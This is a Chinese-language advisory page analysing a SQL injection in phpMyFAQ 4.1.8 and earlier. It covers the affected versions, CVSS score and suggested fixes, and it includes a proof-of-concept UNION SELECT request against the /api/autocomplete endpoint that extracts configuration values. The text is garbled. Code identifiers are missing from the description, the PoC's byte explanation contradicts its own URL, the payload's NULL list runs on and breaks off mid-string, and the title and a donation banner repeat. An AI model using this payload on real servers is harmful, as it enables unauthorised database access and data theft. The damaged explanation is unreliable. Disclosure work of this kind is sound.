phpMyFAQ 4.1.8及以下版本SQL注入漏洞分析

漏洞概述 漏洞名称: phpMyFAQ PdoMysql::escape() 产生可利用的输出在 NO_BACKSLASH_ESCAPES SQL 模式下 漏洞描述: phpMyFAQ 中的 方法使用 来生成转义的单引号（ ）。 在 MySQL 或 MariaDB 的 SQL 模式下，反斜杠是字面字符，单引号终止 SQL 字符串字面量，导致 SQL 注入。 未授权攻击者可以通过前端自动完成搜索端点利用此漏洞。 影响范围 受影响版本: phpMyFAQ <= 4.1.8 未修复版本: None CVSS 评分: 8.1 / 10 攻击向量: 网络 攻击复杂度: 高 特权要求: 无 用户交互: 无 范围: 未改变 机密性: 高 完整性: 高 可用性: 高 修复方案 建议修复: - 替换 中的手动 为 SQL 模式独立的引号加倍（ ）或使用 （去掉外层引号）。引号加倍在所有 SQL 模式下都是安全的，因为 SQL 标准定义 作为转义单引号，无论是否启用反斜杠转义。 - 或者，将所有查询迁移到代码库中的参数化准备语句（PDO::prepare()），使用绑定参数，从而完全消除此漏洞类。 - 作为临时缓解措施，确保 MySQL/MariaDB 服务器不以 模式运行。 POC 代码 ```plaintext The Unicode right single quotation mark (U+2019, bytes 0x27 0x99) bypasses a FILTER_SANITIZE_SPECIAL_CHARS, then is converted to ASCII ' by the search class's typographic normalization before reaching escape(). GET /api/autocomplete?search=%E2%80%99%20UNION%20SELECT%20NULL%2C%20CONCAT(config_name%2C%3A%2Cconfig_value)%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%

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phpMyFAQ 4.1.8及以下版本SQL注入漏洞分析

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目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

phpMyFAQ 4.1.8及以下版本SQL注入漏洞分析

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目标达成感谢每一位支持者 — 我们达成了 100% 目标！